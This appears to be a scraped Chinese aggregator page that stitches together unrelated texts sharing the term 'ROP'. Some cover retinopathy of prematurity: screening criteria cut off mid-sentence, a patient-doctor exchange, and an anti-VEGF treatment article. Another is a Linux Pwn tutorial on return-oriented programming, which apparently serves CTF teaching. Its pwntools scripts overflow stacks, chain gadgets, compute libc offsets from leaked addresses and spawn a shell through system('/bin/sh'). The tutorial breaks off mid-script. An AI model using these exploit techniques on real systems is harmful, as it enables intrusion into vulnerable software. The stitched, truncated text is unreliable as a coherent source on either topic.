精华内容
下载资源
问答
  • 早产儿 rop检查怎么做
    2021-01-17 19:21:17

    去儿童医院做呗。

    ROP,作为疾病,是早产婴儿的盲症,表现为早产婴儿视网膜病变(ROP),随著体重不足婴儿的生存率日益增加,这种眼疾在发展中国家越来越普遍。同时,ROP也是一种库存规划方法;术语“光栅操作”的简称。

    由于早产儿吸氧存在发生ROP的风险,早期诊断显得非常重要。根据发达国家的经验,早期诊断ROP最好的办法就是开展筛查,如果早期得到治疗的患儿预后大为改善,因此,建立筛查制度,尽早进行眼底检查,成为ROP早期诊断及治疗的关键。

    1、筛查指征:以最小的人力财力投入而最大限度地避免漏诊为原则,有效的筛查既要及时检测出阈值ROP,不会遗漏阈值ROP的早期发现,又要减少不必要的检查次数,避免检查对眼睛造成的损伤。由于ROP主要发生在较小的早产儿,一般将较小的早产儿列为筛查对象,但每个国家的筛查指征各不相同。1996年美国儿科学会和眼科学会联合制定的方案是出生体重小于1500克或胎龄小于28周,或伴有不稳定因素的早产儿均纳入筛查,但是将胎龄定为28周,会有不少II期ROP病人被漏诊,如果将胎龄提高到32周,一般不会漏诊。如果将筛查标准提高到35周,虽然不会漏诊,但筛查工作量将增加30%。目前国际上多数国家将出生体重小于1500克或胎龄小于32周的所有早产儿,不管是否吸过氧都被列为筛查对象,对出生体重在1500-2000克或胎龄在32-34周的早产儿,如吸过氧或有严重合并症者,也列为筛查对象。

    近年我国有部分发生ROP失明的病例出生体重在1700-2000克,我国卫生部将ROP筛查指征定为:胎龄小于34周或出生体重小于2000克的早产儿和低出生体重儿,就是说出生体重小于2000克的所有早产儿和低出生体重儿都被列为筛查对象。这个筛查指征虽然比国际上多数国家都要高,增加了筛查工作量,但是由于我国刚刚开始筛查,筛查制度还没有普遍建立,将筛查标准定得高一些,主要是为了增强大家的筛查意识。

    2、首次筛查时间:急性ROP绝大部分出现于纠正胎龄(PA)35-41w(高峰期为38.6w),90%患者均在PA44w以前出现。BW

    纪新竹_uGY2   2014-02-12 21:19

    宝宝知道提示您:回答为网友贡献,仅供参考。

    更多相关内容
  • ROP 检查

    2021-01-17 19:21:14
    现在快到35天了,今天做早产儿视网膜病变检查,医生无法确诊,建议到南京儿童医院去检查。医院2011年8月25日今天初次检查,无法确诊。如何快速预约,因为马上出生6周了,能否挂急诊(怕耽误最佳检查时间)。(宝宝在...

    患者:病情描述(发病时间、主要症状、就诊医院等):

    我家宝宝早产儿,30周加1天,体重1520。现在快到35天了,今天做早产儿视网膜病变检查,医生无法确诊,建议到南京儿童医院去检查。

    医院2011年8月25日今天初次检查,无法确诊。

    如何快速预约,因为马上出生6周了,能否挂急诊(怕耽误最佳检查时间)。(宝宝在外面时间长,容易感染)。

    会不会住院呢?因为我们是外地的,如果住院,则要多准备一些东西。上海市儿童医院眼科乔彤

    南京医科大学附属南京儿童医院眼科乔彤:   周二。周四的上午进行ROP筛查;不需要住院,可以提前预约检查,家长可以先到医院来预约!

    患者:想不到,您这么热心。谢谢。

    我找南京朋友帮助我预约一下。到时,我全家再带宝宝去一次南京。另外,宝宝检查之前是否要禁食呢?还有什么其它注意事项?

    非常感谢。

    2011年8月25日20时35分51秒

    南京医科大学附属南京儿童医院眼科乔彤:之前1小时进食即可!

    患者:乔博士,您好。

    我家宝宝早产儿,30周加1天,体重1520。现在快到35天了,现在体重1.89 KG.

    昨天做早产儿视网膜病变检查,今天去与医生面谈,(安徽医科大学第一附属医院)医生称检查结果是ROP轻度(听医生讲,只能是间接什么观察,没有拍摄的设备)。

    但是,这几天,有些氧饱和度不足。这两天正在观察。下周是宝宝出生的第六周开始。

    一是,我担心他们的检查,可信度的问题。

    二是,如果错过第六周是否会对眼睛有什么影响。

    三是,现在我们进入两难境地,如果去的话,担心路上他的呼吸的问题。如果等到身体稳定的话,又担心错过了眼睛的检查的时间。

    检查时间是否是严格定在四周到六周之间呢?

    麻烦,乔博士,给些建议。

    非常感谢。

    南京医科大学附属南京儿童医院眼科乔彤: 在胎龄37-40周很关键,发现问题可以及时治疗,挽救视功能!

    患者:非常感谢。我们计划下周四去南京。

    到时,可能会麻烦您做检查了。

    南京医科大学附属南京儿童医院眼科乔彤:好的!

    患者:乔博士:昨天带宝宝准备做ROP检查,但宝宝的状态不好,只好又让宝宝回温箱了。我想等宝宝状态好点再去做检查,也许还是下周四,到时宝宝又要让您费心了。那天我家宝宝鼻子和人中发青,反应弱,吓得我魂飞魄散,同时也感受到了您的关心,非常感谢您!

    南京医科大学附属南京儿童医院眼科乔彤:

    等孩子全身状况稳定之后再说;祝你的孩子顺利成长!

    谢谢信任!

    患者:非常感谢乔博士。

    昨天,让您辛苦了,出完上午门诊,又不辞劳苦地加班给我家宝宝做了ROP检查。

    看来,我家宝宝真的与您有缘。

    您在网上总是这么热心的回复,我们内心感到非常的温暖。

    再次感谢。中秋节要到了,我们全家人一起祝您中秋节快乐!

    南京医科大学附属南京儿童医院眼科乔彤:也祝您全家中秋快乐,宝宝健康成长!

    患者:2011年,我带宝宝去您处做ROP,感谢你在百忙之中,对我家宝宝的热情诊断。

    2012年已经到来,我全家在合肥,给您拜年了,祝您工作顺利。

    愿天下的所有的医生都拥有您这样的好性格,好态度,高水平。

    展开全文
  • 抗VEGF治疗早产儿视网膜病变(ROP)是近年来眼底领域的研究热点,为患者提供了更好的选择。在2019年眼科国际会议上,Hugo Quiroz-Mercado博士总结了有关抗VEGF治疗ROP患者的最新研究成果。Quiroz-Mercado博士的演讲...

    f7ea7273662027aa9e3fe6912d21e6c5.gif

    抗VEGF治疗早产儿视网膜病变(ROP)是近年来眼底领域的研究热点,为患者提供了更好的选择。在2019年眼科国际会议上,Hugo Quiroz-Mercado博士总结了有关抗VEGF治疗ROP患者的最新研究成果。 Quiroz-Mercado博士的演讲内容主要包括对ROP危险因素的探讨,对抗VEGF疗法潜在的全身和局部并发症的回顾,以及概述抗VEGF在APEC-Mexico使用的治疗流程。 b510f9b6bf1b61dde860fe6aa46832d0.gif b510f9b6bf1b61dde860fe6aa46832d0.gif

    ROP简介

    目前认为视网膜的高耗氧量是视网膜组织易受血管性疾病影响的重要原因。ROP筛查内容中最重要的部分是识别血管迂曲。无论是通过散瞳后的眼底检查或是通过眼底照相,都必须对早产儿进行全面的临床检查。

    鉴别前plus和plus病变对早产儿的随访和治疗至关重要。有plus病变的早产儿眼底表现为动脉和静脉充血、虹膜血管充血、瞳孔强直或玻璃体混浊。前plus病变定义为后极部血管异常,表现为小动脉迂曲和静脉扩张,但不足以诊断Plus病变。

    患有plus病变的早产儿可能会迅速发展为视网膜脱离,因此需要密切随访,必要的情况下还需进行治疗。ROP病程早期的前plus病变与需要治疗的重度ROP密切相关。因此,必须强制性的对出现前plus病变的患儿进行密切随访。

    急进性后极部早产儿视网膜病变或称APROP是一种进行性的、重型ROP。它的主要特点是plus病变位于后极部,自然病程不明确,如果不积极治疗,通常会很快进展到5期。由于疾病进展较快,APROP也被称为“rush disease”。早期发现和积极治疗APROP是非常重要的。APROP的一个重要的眼底特征是通常没有典型的分界线。

    b510f9b6bf1b61dde860fe6aa46832d0.gif

    分类、治疗

    早产儿视网膜病变早期治疗(ETROP)研究有助于ROP的定义和分类。ETROP的目的是确定与传统治疗相比,早期治疗高危ROP的无灌注区能否改善患儿视力和视网膜结构。这项研究的结论是,早期治疗高危阈前ROP显著减少了不良结果。

    出于治疗目的,ETROP定义的分类如表2。

    10cc516b645f803426734bbbf028f0e0.png

    公认的ROP治疗方案包括冷冻和激光治疗。这两种治疗方案都很有效,而且对无灌注区作用持久。这些治疗方法可以减少治疗后的随访次数。

    近年来,玻璃体内抗VEGF治疗已被用于ROP患儿。抗VEGF治疗后再治疗的比率仅为4%,而接受激光治疗的患者再治疗的比率为11%。此外,抗VEGF治疗不会导致视野缩小、近视或暗适应功能障碍等相关并发症。

    为了探索抗VEGF治疗为何对ROP患者有效,Quiroz-Mercado博士及其同事研究了接受玻璃体切除术的晚期ROP患眼的增殖膜。在这项研究中,收集了ROP患眼的增殖膜并做了检测,包括PCR,原位杂交和Western blot分析。他们观察到增殖膜中16 kDa催乳素的表达,催乳素是一种与VEGF家族相关的蛋白激素,这项研究结果支持ROP是由VEGF驱动所导致的。此外,其他研究表明晚期ROP的视网膜下液中VEGF和肝细胞生长因子(HGF)水平增加,进一步支持该假说。因此,抗VEGF治疗ROP理论有效。

    b510f9b6bf1b61dde860fe6aa46832d0.gif

    临床经验、风险

    第一位在APEC-México接受玻璃体内注射抗VEGF治疗的儿童患者是一个早产儿,他接受了多次脑部、腹部及其他手术,由于玻璃体出血影响了眼底观察,因此决定给患儿进行抗VEGF治疗。此后玻璃体出血开始吸收,视野也有了很大改善。在这个病例之后,Mexico小组开始使用抗VEGF治疗特定的ROP患者。

    此后,多项研究比较了PRP和抗VEGF治疗ROP的疗效。总而言之,玻璃体内贝伐单抗注射和激光对ROP都有效,但治疗后复发率仍有争议。其中,BEAT-ROP研究显示,PRP后的复发率高于贝伐单抗治疗后的复发率(22%vs4%),1区ROP的复发率为35%vs3.2%。Hwang和他的团队研究报告,贝伐单抗组复发率为14%,而PRP组仅为3%。在一项回顾性研究中,Mintz-Hittner等人发现,玻璃体内注射贝伐单抗治疗的1区或2区1型ROP患儿的复发率为8.3%。在这项研究中,复发的危险因素包括APROP、住院时间延长和低出生体重。

    目前还不清楚抗VEGF治疗在这一组患者中的潜在风险。与其他治疗一样,使用抗VEGF治疗也存在风险。Wood和他的团队描述了一种”crunch phenomenon”,即其中一只眼注射抗VEGF药物后可能发展为牵拉性视网膜脱离或引起对侧眼ROP的进展。

    b510f9b6bf1b61dde860fe6aa46832d0.gif

    APEC治疗流程

    根据在APEC-México的经验和现有的循证医学证据,Martinez-Castellanos博士和Quiroz-Mercado博士制定了治疗ROP的流程(表3)。推荐使用的药物和剂量为贝伐单抗0.625 mg/0.025 mL、雷珠单抗0.25 mg/0.025 mL。

    07d7ea350f1b1b628e65041307be336a.png

    对5b期或发生了闭合漏斗的患者进行观察的主要原因是,即使视网膜解剖复位成功,这些组织的萎缩程度也非常严重,通常视力预后很差。

    ROP患儿进行抗VEGF治疗之前,对患者进行整体评估非常重要,因为ROP患儿也存在神经发育障碍的可能。Quiroz-Mercado博士说,多达50%的ROP患儿有一定程度的神经系统发育迟缓,这很可能是由于脑室内出血引起的,但是幸运的是,研究表明,在短期内用低剂量抗VEGF治疗可能有助于预防脑室内出血。这在ROP中很重要,因为与其他的血管增生性疾病不同,ROP的治疗时间窗口非常短。

    虽然从理论上讲,抗VEGF治疗可能有预防脑室出血的作用,但在实际中对早产儿的真正效果尚不清楚。Quiroz-Mercado博士强烈建议,在实际的临床工作中,应与围产期医生合作,以明确眼内抗VEGF治疗的效果。他建议尽可能使用最小剂量的抗VEGF药物。

    b510f9b6bf1b61dde860fe6aa46832d0.gif

    提高诊疗水平

    Quiroz-Mercado博士分享了在APEC-México接受抗VEGF治疗ROP无效或在最初治疗后复发的经验。在APEC-México进行的一项研究中,将治疗失败定义为治疗后第一周病理性新生血管持续存在、嵴隆起增高、Plus病变恶化或视网膜紧缩。复发被定义为ROP初步消退后又出现Plus病变、嵴升高或出现病理性新生血管。

    研究人员使用FA分析了疑似复发或治疗失败的病例,还通过超声检查来指导治疗。所采用的治疗方法包括保守治疗(FA严密监测、改善氧供)或干预治疗(如再次注射抗VEGF药物、改用不同的抗VEGF药物、激光、玻璃体切除或联合治疗)。在最初接受玻璃体内注射抗VEGF的672例患者中,17例(2.5%)治疗无效,47例(6.8%)复发。(值得注意的是,37名患者被误诊为ROP复发,并转到APEC-México接受治疗。经进一步检查,他们被诊断为ROP合并增殖性视网膜病变)。

    这项研究的结果表明,治疗失败可能与最初的误诊或治疗不足有关,必须进行彻底的检查和鉴别诊断以防止误诊。最常见的误诊包括家族性渗出性视网膜病变,与先天性心脏病相关的增生性视网膜病变和氧源性视网膜病变。

    另一方面,导致治疗不佳的最常见的原因之一是术前准备不充足。在注射前将药液预充入针头是很重要的,特别是在注射剂量如此之小的情况下。如果针头在注射前没有预注入,则会将针头中的空气注入玻璃体腔。

    在一些特殊情况下,可在玻璃体视网膜手术前注射抗VEGF药物。例如,联合抗VEGF注射后立即进行玻璃体切除术可能防止ROP的进展和视网膜紧缩的发生。然而,在一些存在活动性新生血管和视网膜牵拉的患者中,单独使用抗VEGF可能会导致视网膜脱离。

    新的影像技术可以很方便地检查和记录ROP的病情,广角野眼底照片和FA检查有助于ROP患者的随访。对于那些不能接受FA的人,无赤光眼底照相可以用来观察视网膜血管和视网膜色素上皮萎缩。

    最后,氧源性视网膜病变是发展中国家常见的一种严重性疾病。这种情况多见于暴露在高氧环境中但无ROP高危特征的早产儿。这些患儿的视网膜周边血管异常可分为缺血区、视网膜灌注与无灌注交界区的动静脉分流和增殖性病变。在胎龄大于32周且出身体重大于1500克的婴儿中也观察到氧气引起的视网膜病变,但该病变的病理生理机制仍有待阐明。在这些患者中,尚需密切随访,并采用激光和或抗VEGF疗法进行必要的治疗。

    b510f9b6bf1b61dde860fe6aa46832d0.gif

    结论

    随着抗VEGF药物在ROP治疗中的应用日益增多,尚需要更多的研究来确定合适的剂量和频率,以及确定哪种抗VEGF药物对ROP的治疗效果最好。更重要的是,在治疗之前,必须谨慎考虑对早产儿进行玻璃体内注射抗VEGF的安全性,特别是那些有神经发育障碍的早产儿。

    注:Quiroz-Mercado博士和Maria Ana Martinez-Castellanos博士都在APEC-Mexico执业,他们是应用抗VEGF药物治疗ROP患者方面的先驱。 来源: https://retinatoday.com/articles/2019-nov-dec/ards-meeting-minutes?c4src=topic:meeting-recaps:feed

    434caee6a1bcb9e551176dc5b08d3f67.png

    (来源:《国际眼科时讯》编辑部)

    版权声明

    版权属《国际眼科时讯》所有。欢迎个人转发分享。其他任何媒体、网站如需转载或引用本网版权所有之内容,须经本网同意并在文章顶部注明“转自《国际眼科时讯》”

    e2f008080ef5771b14de801936b8272d.png

    4bed6457598e5db41d39c9bae2b4f326.png

    3d1d9e2356962cf2a0f531e838a4ee9b.gif

    点分享

    c2af429cfd503a8abc049698e54a7442.gif

    点点赞

    73b09caf7c0f964e86d57ae1a78a54ce.gif

    点在看

    展开全文
  • 首先我们可以在静态分析和调试中使用IDA的快捷键Ctrl + S 或者同上一篇教程中的方法,使用Pwntools自带的checksec命令检查程序是否带有RWX段。当然,由于程序可能在运行中调用mprotect( ), mmap( )等函数动态修改或...

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程。

    教程仅针对i386/amd64下的Linux Pwn常见的Pwn手法,如栈,堆,整数溢出,格式化字符串,条件竞争等进行介绍,所有环境都会封装在Docker镜像当中,并提供调试用的教学程序,来自历年赛事的原题和带有注释的python脚本。

    前期课程回顾>>

    Linux Pwn入门教程第一章:环境配置

    Linux Pwn入门教程第二章:栈溢出基础

    Linux Pwn入门教程第三章:ShellCode

    教程中的题目和脚本若有使用不妥之处,欢迎各位大佬批评指正。

    背景

    在上一篇教程的《shellcode的变形》一节中,我们提到过内存页的RWX三种属性。显然,如果某一页内存没有可写(W)属性,我们就无法向里面写入代码,如果没有可执行(X)属性,写入到内存页中的ShellCode就无法执行。

    关于这个特性的实验在此不做展开,大家可以尝试在调试时修改EIP和read( )/scanf( )/gets( )等函数的参数来观察操作无对应属性内存的结果。那么我们怎么看某个ELF文件中是否有RWX内存页呢?首先我们可以在静态分析和调试中使用IDA的快捷键Ctrl + S

    b8b5c4c6e2eb757e41ab0f35129baf0d.png
    1ed48fc2144e54a2a73d4770c2d23cca.png

    或者同上一篇教程中的方法,使用Pwntools自带的checksec命令检查程序是否带有RWX段。当然,由于程序可能在运行中调用mprotect( ), mmap( )等函数动态修改或分配具有RWX属性的内存页,以上方法均可能存在误差。

    既然攻击者们能想到在RWX段内存页中写入ShellCode并执行,防御者们也能想到,因此,一种名为NX位(No eXecute bit)的技术出现了。这是一种在CPU上实现的安全技术,这个位将内存页以数据和指令两种方式进行了分类。被标记为数据页的内存页(如栈和堆)上的数据无法被当成指令执行,即没有X属性。由于该保护方式的使用,之前直接向内存中写入ShellCode执行的方式显然失去了作用。因此,我们就需要学习一种著名的绕过技术——ROP(Return-Oriented Programming, 返回导向编程)

    顾名思义,ROP就是使用返回指令ret连接代码的一种技术(同理还可以使用jmp系列指令和call指令,有时候也会对应地成为JOP/COP)。一个程序中必然会存在函数,而有函数就会有ret指令。我们知道,ret指令的本质是pop eip,即把当前栈顶的内容作为内存地址进行跳转。

    而ROP就是利用栈溢出在栈上布置一系列内存地址,每个内存地址对应一个gadget,即以ret/jmp/call等指令结尾的一小段汇编指令,通过一个接一个的跳转执行某个功能。由于这些汇编指令本来就存在于指令区,肯定可以执行,而我们在栈上写入的只是内存地址,属于数据,所以这种方式可以有效绕过NX保护。

    使用ROP调用got表中函数

    首先我们来看一个x86下的简单ROP,我们将通过这里例子演示如何调用一个存在于got表中的函数并控制其参数。我们打开~/RedHat 2017-pwn1/pwn1。可以很明显看到main函数存在栈溢出:

    94b39f36fc755854d9cdee3a87c3a358.png

    变量v1的首地址在bp-28h处,即变量在栈上,而输入使用的__isoc99_scanf不限制长度,因此我们的过长输入将会造成栈溢出。

    902e341f2ccc8c7550fa9c1a0c09483f.png

    程序开启了NX保护,所以显然我们不可能用shellcode打开一个shell。根据之前文章的思路,我们很容易想到要调用system函数执行system(“/bin/sh”)。那么我们从哪里可以找到system和“/bin/sh”呢?

    第一个问题,我们知道使用动态链接的程序导入库函数的话,我们可以在GOT表和PLT表中找到函数对应的项(稍后的文章中我们将详细解释)。跳转到.got.plt段,我们发现程序里居然导入了system函数。

    193d580db0aaf02f467fddcfe550bd05.png

    解决了第一个问题之后我们就需要考虑第二个问题。通过对程序的搜索我们没有发现字符串“/bin/sh”,但是程序里有__isoc99_scanf,我们可以调用这个函数来读取“/bin/sh”字符串到进程内存中。下面我们来开始构建ROP链。

    首先我们考虑一下“/bin/sh”字符串应该放哪。通过调试时按Ctrl+S快捷键查看程序的内存分段,我们看到0x0804a030开始有个可读可写的大于8字节的地址,且该地址不受ASLR影响,我们可以考虑把字符串读到这里。

    18abc5bfac7ef44d95ef270d147fd695.png

    接下来我们找到__isoc99_scanf的另一个参数“%s”,位于0x08048629

    294fa739a2dab4d41afd91420a8cc923.png

    接着我们使用pwntools的功能获取到__isoc99_scanf在PLT表中的地址,PLT表中有一段stub代码,将EIP劫持到某个函数的PLT表项中我们可以直接调用该函数。我们知道,对于x86的应用程序来说,其参数从右往左入栈。因此,现在我们就可以构建出一个ROP链。

    `from pwn import *context.update(arch = 'i386', os = 'linux', timeout = 1)io = remote('172.17.0.3', 10001)elf = ELF('./pwn1')scanf_addr = p32(elf.symbols['__isoc99_scanf'])format_s = p32(0x08048629)binsh_addr = p32(0x0804a030)shellcode1 = 'A'*0x34shellcode1 += scanf_addrshellcode1 += format_sshellcode1 += binsh_addrprint io.read( )io.sendline(shellcode1)io.sendline(“/bin/sh”)

    通过调试我们可以看到,当EIP指向retn时,栈上的数据和我们的预想一样,栈顶是plt表中__isoc99_scanf的首地址,紧接着是两个参数。我们继续跟进执行,在libc中执行一会儿之后,我们收到了一个错误,这是为什么呢?

    我们回顾一下之前的内容。我们知道call指令会将call指令的下一条指令地址压入栈中,当被call调用的函数运行结束后,ret指令就会取出被call指令压入栈中的地址传输给EIP。

    但是在这里我们绕过call直接调用了__isoc99_scanf,没有像call指令一样向栈压入一个地址。此时函数认为返回地址是紧接着scanf_addr的format_s,而第一个参数就变成了binsh_addr`

    call调用函数的情况

    08048557 mov [esp+4], eax0804855B mov dword ptr [esp], offset unk_8048629 08048562 call ___isoc99_scanf 08048567 lea eax, [esp+18h]
    08922214bbef39841a4b19854e0e665b.png
    4542b0f3f9bfc9d42e5c5ab2fa0c1c41.png
    9fbabdd3283f547aab124d131a9d31b3.png
    08048580 leave08048581 retn ; pop eipF7E22610 __isoc99_scanf:F7E22610 push ebpF7E22611 mov ebp, esp

    从两种调用方式的比较上我们可以看到,由于少了call指令的压栈操作,如果我们在布置栈的时候不模拟出一个压入栈中的地址,被调用函数的取到的参数就是错位的。所以我们需要改良一下ROP链。根据上面的描述,我们应该在参数和保存的EIP中间放置一个执行完的返回地址。鉴于我们调用scanf读取字符串后还要调用system函数,我们让__isoc99_scanf执行完后再次返回到main函数开头,以便于再执行一次栈溢出。改良后的ROP链如下:

    from pwn import *context.update(arch = 'i386', os = 'linux', timeout = 1)io = remote('172.17.0.3', 10001)elf = ELF('./pwn1')scanf_addr = p32(elf.symbols['__isoc99_scanf']) format_s = p32(0x08048629) binsh_addr = p32(0x0804a030)shellcode1 = 'A'*0x34 shellcode1 += scanf_addrshellcode1 += main_addrshellcode1 += format_sshellcode1 += binsh_addrprint io.read()io.sendline(shellcode1)io.sendline(“/bin/sh”)

    我们再次进行调试,发现这回成功调用__isoc99_scanf把“/bin/sh”字符串读取到地址0x0804a030处:

    4e3f311231c91beffdc6216981c73fac.png

    此时程序再次从main函数开始执行。由于栈的状态发生了改变,我们需要重新计算溢出的字节数。然后再次利用ROP链调用system执行system(“/bin/sh”),这个ROP链可以模仿上一个写出来,完整的脚本也可以在对应文件夹中找到,此处不再赘述。

    接下来让我们来看看64位下如何使用ROP调用got表中的函数。我们打开文件~/bugs bunny ctf 2017-pwn150/pwn150,很容易就可以发现溢出出现在Hello( )里

    7b70ace3b772fd0a41baf067ebce432f.png

    和上一个例子一样,由于程序开启了NX保护,我们必须找到system函数和“/bin/sh”字符串。程序在main函数中调用了自己定义的一个叫today的函数,执行了system(“/bin/date”),那么system函数就有了。至于“/bin/sh”字符串,虽然程序中没有,但是我们找到了“sh”字符串,利用这个字符串其实也可以开shell。

    e43d03c0861cab86067956c7ad1c7dc7.png

    现在我们有了栈溢出点,有了system函数,有了字符串“sh”,可以尝试开shell了。首先我们要解决传参数的问题。和x86不同,在x64下通常参数从左到右依次放在rdi, rsi, rdx, rcx, r8, r9,多出来的参数才会入栈(根据调用约定的方式可能有不同,通常是这样),因此,我们就需要一个给RDI赋值的办法。由于我们可以控制栈,根据ROP的思想,我们需要找到的就是pop rdi; ret,前半段用于赋值rdi,后半段用于跳到其他代码片段。

    有很多工具可以帮我们找到ROP gadget,例如Pwntools自带的ROP类,ROPgadget、rp++、ropeme等。在这里我使用的是ROPgadget(https://github.com/JonathanSalwan/ROPgadget)

    通过ROPgadget --binary 指定二进制文件,使用grep在输出的所有gadgets中寻找需要的片段。

    50fd75123bd369c98c958a90d89bea31.png

    这里有一个小trick。首先,我们看一下IDA中这个地址的内容。

    cf1002a1d86bb2d8c059d48010511cec.png

    我们可以发现并没有0x400883这个地址,0x400882是pop r15, 接下来就是0x400884的retn,那么这个pop rdi会不会是因为ROPgadget出bug了呢?别急,我们选择0x400882,按快捷键D转换成数据。

    d6586931dffa89e772419c8d215f2dfc.png

    然后选择0x400883按C转换成代码

    2753e834f46eb1e6679ec835b2098e91.png

    我们可以看出来pop rdi实际上是pop r15的“一部分”。这也再次验证了汇编指令不过是一串可被解析为合法opcode的数据的别名。只要对应的数据所在内存可执行,能被转成合法的opcode,跳转过去都是不会有问题的。

    现在我们已经准备好了所有东西,可以开始构建ROP链了。这回我们直接调用call system指令,省去了手动往栈上补返回地址的环节,脚本如下:

    #!/usr/bin/python#coding:utf-8from pwn import *context.update(arch = 'amd64', os = 'linux', timeout = 1)io = remote('172.17.0.3', 10001)call_system = 0x40075f #call system指令在内存中的位置binsh = 0x4003ef #字符串"sh"在内存中的位置pop_rdi = 0x400883 #pop rdi; retnpayload = ""payload += "A"*88 #paddingpayload += p64(pop_rdi) payload += p64(binsh) #rdi指向字符串"sh"payload += p64(call_system) #调用system执行system("sh")io.sendline(payload)io.interactive()

    进行调试,发现开shell成功。

    e55bb6341ed9a8b22111c3b3268aee09.png

    retn跳转到0x400883处的gadget:pop rdi; ret

    3b6fcff82bace4bfd3781b0f89237689.png

    pop rdi将“sh”字符串所在地址0x4003ef赋值给rdi

    f1ce35430469afc358675d410cab3c90.png

    retn跳转到call system处。

    从给定的libc中寻找gadget

    有时候pwn题目也会提供一个pwn环境里对应版本的libc。在这种情况下,我们就可以通过泄露出某个在libc中的内容在内存中的实际地址,通过计算偏移来获取system和“/bin/sh”的地址并调用。

    这一节的例子是~/Security Fest CTF 2016-tvstation/tvstation。这是一个比较简单的题目,题目中除了显示出来的三个选项之外还有一个隐藏的选项4,选项4会直接打印出system函数在内存中的首地址:

    f2967dbbad5acd433b1662aafc8d3b4e.png
    b81ebb1b61b97f263134df4f6370c9b7.png

    从IDA中我们可以看到打印完地址后执行了函数debug_func( ),进入函数debug_func( )之后我们发现了溢出点。

    c1a85995189a2c1259dd9ce4ad8c8ed9.png

    由于这个题目给了libc,且我们已经泄露出了system的内存地址。使用命令readelf -a 查看libc.so.6_x64。

    495a694d1cb86828a9d3eff8c98cc0af.png

    从这张图上我们可以看出来.text节(Section)属于第一个LOAD段(Segment),这个段的文件长度和内存长度是一样的,也就是说所有的代码都是原样映射到内存中,代码之间的相对偏移是不会改变的。

    由于前面的PHDR, INTERP两个段也是原样映射,所以在IDA里看到的system首地址距离文件头的地址偏移和运行时的偏移是一样的。如:在这个libc中system函数首地址是0x456a0,即从文件的开头数0x456a0个字节到达system函数。

    0e193d77f5f282a5958aa86906d08939.png
    97b07f33f95e07b85000b1dd121ac97a.png
    58c0db78a5bef2c0f83d765062833da8.png

    调试程序,发现system在内存中的地址是0x7fb5c8c266a0。

    a18e547e67d1c95a66c4d075422cda60.png

    0x7fb5c8c266a0 -0x456a0 =0x7fb5c8be1000‬

    3f159fdcda89ba57169c4f8126031592.png

    根据这个事实,我们就可以通过泄露出来的libc中的函数地址获取libc在内存中加载的首地址,从而以此跳转到其他函数的首地址并执行。

    在libc中存在字符串“/bin/sh”,该字符串位于.data节,根据同样的原理我们也可以得知这个字符串距libc首地址的偏移。

    f38b5911d8f11114ba146501c63044d8.png

    还有用来传参的gadget :pop rdi; ret

    f253f11eb6795b1af6268ba511f792e8.png

    据此我们可以构建脚本如下:

    #!/usr/bin/python#coding:utf-8from pwn import *io = remote('172.17.0.2', 10001)io.recvuntil(": ")io.sendline('4') #跳转到隐藏选项io.recvuntil("@0x")system_addr = int(io.recv(12), 16) #读取输出的system函数在内存中的地址libc_start = system_addr - 0x456a0 #根据偏移计算libc在内存中的首地址pop_rdi_addr = libc_start + 0x1fd7a #pop rdi; ret 在内存中的地址,给system函数传参binsh_addr = libc_start + 0x18ac40 #"/bin/sh"字符串在内存中的地址payload = ""payload += 'A'*40 #paddingpayload += p64(pop_rdi_addr) #pop rdi; retpayload += p64(binsh_addr) #system函数参数payload += p64(system_addr) #调用system()执行system("/bin/sh")io.sendline(payload)io.interactive()

    一些特殊的gadgets

    这一节主要介绍两个特殊的gadgets。第一个gadget经常被称作通用gadgets,通常位于x64的ELF程序中的__libc_csu_init中,如下图所示:

    dbbe23f272ac019ef4748be236954641.png

    这张图片里包含了两个gadget,分别是:

    27798873a9c53af2acd32948ce48292c.png

    我们知道在x64的ELF程序中向函数传参,通常顺序是rdi, rsi, rdx, rcx, r8, r9, 栈,以上三段gadgets中,第一段可以设置r12-r15,接上第三段使用已经设置的寄存器设置rdi, 接上第二段设置rsi, rdx, rbx,最后利用r12+rbx*8可以call任意一个地址。

    在找gadgets出现困难时,可以利用这个gadgets快速构造ROP链。需要注意的是,用万能gadgets的时候需要设置rbp=1,因为call qword ptr [r12+rbx*8]之后是add rbx, 1; cmp rbx, rbp; jnz xxxxxx。由于我们通常使rbx=0,从而使r12+rbx*8 = r12,所以call指令结束后rbx必然会变成1。若此时rbp != 1,jnz会再次进行call,从而可能引起段错误。那么这段gadgets怎么用呢?

    我们来看一下例子~/LCTF 2016-pwn100/pwn100,这个例子提供了libc,溢出点很明显,位于0x40063d。

    1f7596f955992b0f25c8a6172802a14b.png

    我们需要做的就是泄露一个got表中函数的地址,然后计算偏移调用system。前面的代码很简单,我们就不做介绍了。

    #!/usr/bin/python#coding:utf-8from pwn import *io = remote("172.17.0.3
    展开全文
  • 首先我们可以在静态分析和调试中使用IDA的快捷键Ctrl + S 或者同上一篇教程中的方法,使用Pwntools自带的checksec命令检查程序是否带有RWX段。当然,由于程序可能在运行中调用mprotect( ), mmap( )等函数动态修改或...
  • 很多糖尿病患者以为患病后只需要进行血糖管理就可以了,...完成糖尿病视网膜病变、复杂视网膜脱离、黄斑疾病、眼外伤等各种复杂眼底疾病的手术千余例,在AMD、PCV、BRVO、ROP等眼底疾病诊治方面造诣精深,见解独到。
  • 点击一下“三江翠屏”立即关注我们近日新生儿、早产儿眼底疾病筛查在翠屏区率先落地开展这项筛查有利于早期为新生儿眼疾的尽早治疗和早期干预提供可靠依据据悉,新生儿眼病初筛的...,早产儿ROP初筛的时间为出生后4...
  • 糖尿病会引发小血管病变,而在这些血管在眼部尤为敏感和...完成糖尿病视网膜病变、复杂视网膜脱离、黄斑疾病、眼外伤等各种复杂眼底疾病的手术千余例,在AMD、PCV、BRVO、ROP等眼底疾病诊治方面造诣精深,见解独到。
  • 糖尿病,高血压,大家都不陌生,但是,很少有人知道,他们...完成糖尿病视网膜病变、复杂视网膜脱离、黄斑疾病、眼外伤等各种复杂眼底疾病的手术千余例,在AMD、PCV、BRVO、ROP等眼底疾病诊治方面造诣精深,见解独到。
  • 优化ROP筛查标准(出生胎龄周或出生体重)正确预测了98.4%的1型ROP患儿,需要检查的患儿减少了43.2%,说明作者提出的筛选阈值能可靠地用于指导修改ROP筛查指南,降低医疗费用。 早产儿视网膜病变在康柏西普治疗后血清...
